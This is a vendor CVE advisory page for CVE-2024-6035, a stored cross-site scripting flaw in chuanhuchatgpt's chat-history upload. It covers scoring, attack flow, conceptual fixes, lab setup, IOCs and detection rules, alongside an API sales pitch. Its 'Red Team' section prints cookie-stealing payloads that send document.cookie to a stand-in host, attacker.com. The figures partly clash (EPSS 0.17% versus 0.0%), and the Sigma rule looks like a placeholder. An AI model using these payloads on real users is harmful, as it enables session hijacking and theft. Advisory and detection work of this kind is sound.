☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-6035

CVE-2024-6035 Cross-Site Scripting in Gaizhenbiao
📅 PUBLISHED: 2024-07-11 10:41 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: H Confidentiality High
I: L Integrity Low
A: N Availability None
7.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6035 is a Stored Cross-Site Scripting (XSS) vulnerability in gaizhenbiao/chuanhuchatgpt version 20240410. The flaw allows an attacker to inject malicious JavaScript into a chat history file. When a victim uploads this file, the script executes in the victim's browser, enabling data theft, session hijacking, malware distribution, and phishing attacks. The vulnerability has a CVSS score of 7.4 (High) and currently has no known patch. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant due to the lack of a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Python-based application (chuanhuchatgpt). The application is likely distributed via GitHub or PyPI. The lack of a patch means that any deployment using version 20240410 is at risk. Organizations should audit their use of this package and consider alternative solutions or implement strict input validation and output encoding.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
  • Base Score: 7.4 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must upload the malicious file
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component
  • Confidentiality Impact: High (C:H) – potential data theft
  • Integrity Impact: Low (I:L) – script injection
  • Availability Impact: None (A:N)

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges required) and can lead to severe consequences like session hijacking and data theft. The lack of a patch increases the risk.

Deep Dive & Mechanics

The vulnerability resides in the chat history file upload functionality of chuanhuchatgpt. The application fails to sanitize or encode user-supplied content within chat history files. An attacker can craft a chat history file containing malicious JavaScript code. When a victim uploads this file, the application renders the content without proper escaping, causing the script to execute in the victim's browser context.

Attack Flow:

  1. Attacker creates a chat history file (e.g., JSON or plain text) containing a payload like <script>alert('XSS')</script>.
  2. Attacker distributes the file via phishing, social engineering, or other means.
  3. Victim uploads the file to the chuanhuchatgpt application.
  4. The application reads the file and displays the chat history, executing the injected script.
  5. The script can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding or sanitization when rendering user-uploaded chat history content.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# app.py (vulnerable)
def upload_chat_history(file):
    content = file.read()
    # Directly rendering content without sanitization
    return render_template('chat.html', history=content)

Patched Code (Conceptual):

# app.py (patched)
import html

def upload_chat_history(file):
    content = file.read()
    # Sanitize content using HTML escaping
    safe_content = html.escape(content)
    return render_template('chat.html', history=safe_content)

The patched version uses html.escape() to convert special characters (like <, >, &) into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running chuanhuchatgpt version 20240410
  • Ability to upload a chat history file

Exploit Payload:

// malicious_chat_history.json
{
  "messages": [
    {"role": "user", "content": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"}
  ]
}

Steps:

  1. Create the malicious JSON file with the XSS payload.
  2. Send the file to the victim via email or direct upload.
  3. When the victim uploads the file, the script executes and exfiltrates cookies.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual chat history file uploads containing script tags or event handlers.
  • Use web application firewalls (WAF) to block payloads containing <script> or onerror.

Mitigation:

  • Implement strict input validation and output encoding.
  • Use Content Security Policy (CSP) headers to restrict script execution.
  • Disable file upload functionality if not required.

Lab Setup:

# Clone the vulnerable repository
git clone https://github.com/gaizhenbiao/chuanhuchatgpt.git
cd chuanhuchatgpt
git checkout 20240410

# Install dependencies
pip install -r requirements.txt

# Run the application
python app.py

Indicators of Compromise (IOCs)

File-Based IOCs:

  • Chat history files containing <script>, onerror, onload, or other event handlers.
  • Files with unusual JavaScript code in the content field.

Network IOCs:

  • Outbound connections to unknown domains from the application server.
  • HTTP requests containing cookie data in query parameters (e.g., ?cookie=).

Behavioral IOCs:

  • Unexpected execution of JavaScript in the context of the chuanhuchatgpt application.
  • Unauthorized session usage or account takeover.

Detection Engineering

YARA Rule

rule CVE_2024_6035_Stored_XSS {
    meta:
        description = "Detects malicious chat history files exploiting CVE-2024-6035"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6035"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $event_handler = /on\w+\s*=/ nocase
        $javascript_url = /javascript\s*:/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6035 Stored XSS in chuanhuchatgpt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of chat history files containing XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        TargetFilename|endswith: '.json'
        TargetFilename|contains: 'chuanhuchatgpt'
    filter:
        - TargetFilename|contains: 'safe'
    condition: selection and not filter
falsepositives:
    - Legitimate use of JavaScript in chat history (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6035 Stored XSS Payload in Chat History Upload"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable file upload functionality in chuanhuchatgpt until a patch is available.
  2. Implement input validation – sanitize all uploaded content using HTML escaping.
  3. Deploy a Web Application Firewall (WAF) to block XSS payloads.
  4. Use Content Security Policy (CSP) headers to restrict script execution.

Long-Term Fix:

  • Apply the official patch when released by the vendor.
  • Upgrade to a patched version of chuanhuchatgpt.
  • Conduct a security audit of the application's file handling code.

Workaround:

  • If file upload is essential, restrict uploads to trusted users only and scan files for malicious content.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

chuanhuchatgpt
gaizhenbiao chuanhuchatgpt

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6035/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.